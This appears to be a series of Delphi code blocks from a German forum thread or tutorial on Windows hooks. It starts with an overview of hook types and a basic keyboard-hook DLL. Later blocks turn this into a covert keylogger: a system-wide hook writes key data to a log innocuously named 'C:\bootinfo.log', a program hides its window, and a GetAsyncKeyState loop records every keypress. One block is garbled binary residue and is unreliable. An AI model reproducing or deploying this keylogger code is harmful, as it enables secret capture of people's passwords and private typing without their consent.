1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

Typ                   threadlokal systemglobal
WH_CALLWNDPROC        X           X
WH_CALLWNDPROCRET     X           X
WH_CBT                X           X
WH_DEBUG [NT]         X           X
WH_FOREGROUNDIDLE     X           X
WH_GETMESSAGE         X           X
WH_JOURNALPLAYBACK                X
WH_JOURNALRECORD                  X
WH_KEYBOARD           X           X
WH_KEYBOARD_LL [NT]               X
WH_MOUSE              X           X
WH_MOUSE_LL [NT]                  X
WH_MSGFILTER          X           X
WH_SYSMSGFILTER                   X
WH_SHELL              X           X					

1:
2:
3:
4:

SetWindowsHookEx()
UnhookWindowsHookEx()
CallNextHookEx()
HookProc()					

1:
2:
3:
4:
5:
6:
7:
8:

function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc;
  hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;
function UnhookWindowsHookEx(hhk: HHOOK): BOOL; stdcall;
function CallNextHookEx(hhk: HHOOK; nCode: Integer; wParam: WPARAM;
  lParam: LPARAM): LRESULT; stdcall;
type
  TFNHookProc = function (code: Integer; wparam: WPARAM;
    lparam: LPARAM): LRESULT stdcall;					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:

library KeyboardHook;

uses
  Windows,
  Messages;

var
  HookHandle: Cardinal = 0;
  WindowHandle: Cardinal = 0;

function KeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
//es ist ebenfalls moeglich die Bearbeitung an eine Bedingung zu knuepfen
//it's possible to call CallNextHookEx conditional only.
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    TRUE: exit; //wenn code kleiner 0 wird nix gemacht
                //if code smaller 0 nothing has to be done
    FALSE:
      begin
//Hier kann jetzt alles bearbeitet werden
//Here one can work with the parameters
      end;
  end;
end;

function InstallHook(Hwnd: Cardinal): Boolean; stdcall;
begin
  Result := False;
  if HookHandle = 0 then begin
//Erstmal Hook installieren
//First install the hook
    HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);
//Uebergebenes Fensterhandle sichern
//Save the given window handle
    WindowHandle := Hwnd;
    Result := TRUE;
  end;
end;

function UninstallHook: Boolean; stdcall;
begin
//Hook aus der Hookchain entfernen
//Uninstall hook from hook chain
  Result := UnhookWindowsHookEx(HookHandle);
  HookHandle := 0;
end;

exports
//Installations- und Deinstallationsroutine exportieren
//Export the installation and deinstallation routine
  InstallHook,
  UninstallHook;
end.					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

type
  TInstallHook = function(Hwnd: THandle): Boolean; stdcall;
  TUninstallHook = function: Boolean; stdcall;

var
  InstallHook: TInstallHook;
  UninstallHook: TUninstallHook;
  lib: Cardinal;

begin
  lib := LoadLibrary('keyboardhook.dll');
  if lib <> INVALID_HANDLE_VALUE then begin
    InstallHook := GetProcAddress(lib, 'InstallHook');
    UnInstallHook := GetProcAddress(lib, 'UninstallHook');
  end; // else ERROR
end;					

1:
2:

Function InstallHook(Hwnd: THandle): Boolean; stdcall; external 'keyboardhook.dll';
function UninstallHook: Boolean; stdcall; external 'keyboardhook.dll';					

1:
2:

  HookDLL BINRES "Hooks.DLL"
//Name    Restyp  Dateiname					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:

function putbinresto(binresname: pchar; newpath: string): boolean;
var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal;
begin
  result := false;
  HI := FindResource(hInstance, binresname, 'BINRES');
  if HI <> 0 then begin
    HG := LoadResource(hInstance, HI);
    if HG <> 0 then begin
      ResSize := SizeOfResource(hInstance, HI);
      hFileWrite := CreateFile(
          pchar(newpath), 
          GENERIC_READ or GENERIC_WRITE, 
          FILE_SHARE_READ or FILE_SHARE_WRITE, 
          nil, 
          CREATE_ALWAYS, 
          FILE_ATTRIBUTE_ARCHIVE, 
          0
        );
      if hFileWrite <> INVALID_HANDLE_VALUE then
      try
        result := (WriteFile(
            hFileWrite, 
            LockResource(HG)^, 
            ResSize, 
            SizeWritten, 
            nil
          ) and (SizeWritten = ResSize));
      finally
        CloseHandle(hFileWrite);
      end;
    end;
  end;
end;					

1:
2:

WM_MOUSEHOOKMSG:=RegisterWindowMessage(mousmsg);
WM_KEYBHOOKMSG:=RegisterWindowMessage(keybmsg);					

1:
2:
3:
4:
5:

setprop(WindowHandle, 'mous_ncode', nCode);
setprop(WindowHandle, 'mous_hwnd', PMOUSEHOOKSTRUCT(lParam)^.hwnd);
setprop(WindowHandle, 'mous_hitt', PMOUSEHOOKSTRUCT(lParam)^.wHitTestCode);
setprop(WindowHandle, 'mous_xpos', PMOUSEHOOKSTRUCT(lParam)^.pt.x);
setprop(WindowHandle, 'mous_ypos', PMOUSEHOOKSTRUCT(lParam)^.pt.y);					

1:
2:
3:

//code of hook func
temp := code2string(getprop(hwnd, 'mous_ncode'));
SetDlgItemText(hwnd, IDC_EDIT8, pchar(temp));					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:

unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

type
  TInstallHook = function(Hwnd: THandle): Boolean; stdcall;  
  TUninstallHook = function: Boolean; stdcall;  

var
  Form1: TForm1;
  InstallHook: TInstallHook;
  UninstallHook: TUninstallHook;
  lib: Cardinal;

implementation

{$R *.dfm}
{$R hook.res}

function putbinresto(binresname: pchar; newpath: string): boolean;
var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal;  
begin  
  result := false;
  HI := FindResource(hInstance, binresname, 'BINRES');  
  if HI <> 0 then begin  
    HG := LoadResource(hInstance, HI);
    if HG <> 0 then begin  
      ResSize := SizeOfResource(hInstance, HI);  
      hFileWrite := CreateFile(
          pchar(newpath),   
          GENERIC_READ or GENERIC_WRITE,   
          FILE_SHARE_READ or FILE_SHARE_WRITE,
          nil,   
          CREATE_ALWAYS,   
          FILE_ATTRIBUTE_ARCHIVE,
          0  
        );  
      if hFileWrite <> INVALID_HANDLE_VALUE then
      try  
        result := (WriteFile(
            hFileWrite,   
            LockResource(HG)^,
            ResSize,   
            SizeWritten,
            nil  
          ) and (SizeWritten = ResSize));
      finally  
        CloseHandle(hFileWrite);
      end;
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  lib := LoadLibrary('h32.dll');
  if lib <> INVALID_HANDLE_VALUE then InstallHook := GetProcAddress(lib, 'InstallHook');
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  lib := LoadLibrary('h32.dll');
  if lib <> INVALID_HANDLE_VALUE then UnInstallHook := GetProcAddress(lib, 'UninstallHook');
end;

end.					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:

library H32; 
 
uses
  Windows,
  Messages;

var
  HookHandle: Cardinal = 0;  
  WindowHandle: Cardinal = 0;

function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  PID, sizewritten, hFile: LongWord;
begin
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    True: exit; // If the code is smaller than 0 nothing _has_ to be done
    False:
      begin
        if ((lParam and $80000000) = 0) = false then begin
          hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if hFile <> INVALID_HANDLE_VALUE then
          try
            SetFilePointer(hFile, 0, nil, FILE_END);
            PID := GetCurrentProcessID;
            WriteFile(hFile, PID, sizeof(PID), sizewritten, nil);
            WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil);
            WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil);
          finally
            CloseHandle(hFile);
          end;
        end;
      end;  
  end;  
end;    
 
function InstallHook(Hwnd: Cardinal): Boolean; stdcall;  
begin  
  Result := False;  
  if HookHandle = 0 then begin  
//Erstmal Hook installieren  
//First install the hook  
    HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);  
//Uebergebenes Fensterhandle sichern  
//Save the given window handle  
    WindowHandle := Hwnd;  
    Result := TRUE;  
  end;  
end;  

 
function UninstallHook: Boolean; stdcall;  
begin  
//Hook aus der Hookchain entfernen  
//Uninstall hook from hook chain  
  Result := UnhookWindowsHookEx(HookHandle);  
  HookHandle := 0;  
end;  

 
exports  
//Installations- und Deinstallationsroutine exportieren  
//Export the installation and deinstallation routine  
  InstallHook,  
  UninstallHook;  
end.					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:

unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
  HWND: Cardinal;
  HookHandle: Cardinal = 0;  
  WindowHandle: Cardinal = 0;

implementation

{$R *.dfm}

function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  PID, sizewritten, hFile: LongWord;
begin
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    True: exit; // If the code is smaller than 0 nothing _has_ to be done
    False:
      begin
        if ((lParam and $80000000) = 0) = false then begin
          hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if hFile <> INVALID_HANDLE_VALUE then
          try
            SetFilePointer(hFile, 0, nil, FILE_END);
            PID := GetCurrentProcessID;
            WriteFile(hFile, PID, sizeof(PID), sizewritten, nil);
            WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil);
            WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil);
          finally
            CloseHandle(hFile);
          end;
        end;
      end;  
  end;  
end;    

function InstallHook(Hwnd: Cardinal): Boolean; stdcall; external 'H32.dll';
function UninstallHook: Boolean; stdcall; external 'H32.dll';

procedure TForm1.FormCreate(Sender: TObject);
begin
HWND:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);
if installhook(hwnd) then showmessage('Hook erfolgreich installiert!');
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
canclose:= uninstallhook;
end;

end.					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:

program Tastaturhook;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
end.					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:

function Format(fmt: string; params: array of const): string;
var
  pdw1, pdw2: PDWORD;
  i: integer;
  pc: PCHAR;
begin
  pdw1 := nil;
  if High(params) >= 0 then
    GetMem(pdw1, (High(params) + 1) * sizeof(Pointer));
  pdw2 := pdw1;
  for i := 0 to High(params) do begin
    pdw2^ := PDWORD(@params[i])^;
    inc(pdw2);
  end;
  GetMem(pc, 1024);
  if Assigned(pc) then
  try
    SetString(Result, pc, wvsprintf(pc, PCHAR(fmt), PCHAR(pdw1)));
  finally
    if (pdw1 <> nil) then FreeMem(pdw1);
    FreeMem(pc);
  end
  else
    Result := '';
end;					

1:

à  
 # H   à  
 #ÀH   à  
  A   à  
 ÀA   à  
 & L   à  
 &ÀL   à  
 & L   à  
 &ÀL   à  
  O   à  
 ÀO     
 8      
       
 * ÿ   H
  
 à   H
  
 8À   H
  
 *Àÿ   H
  
 SÁ.					

1:

hallo					

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:

procedure keylogger;
var i: integer;
begin
  while true do
  begin
    for i := 10 to 200 do
      if boolean(getasynckeystate(i)) then
        form1.memo1.lines.Text :=
        form1.Memo1.lines.Text + char(i);
    sleep(10);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var tid: cardinal;
begin
  createthread(0,0,@keylogger,nil,0,tid);
end;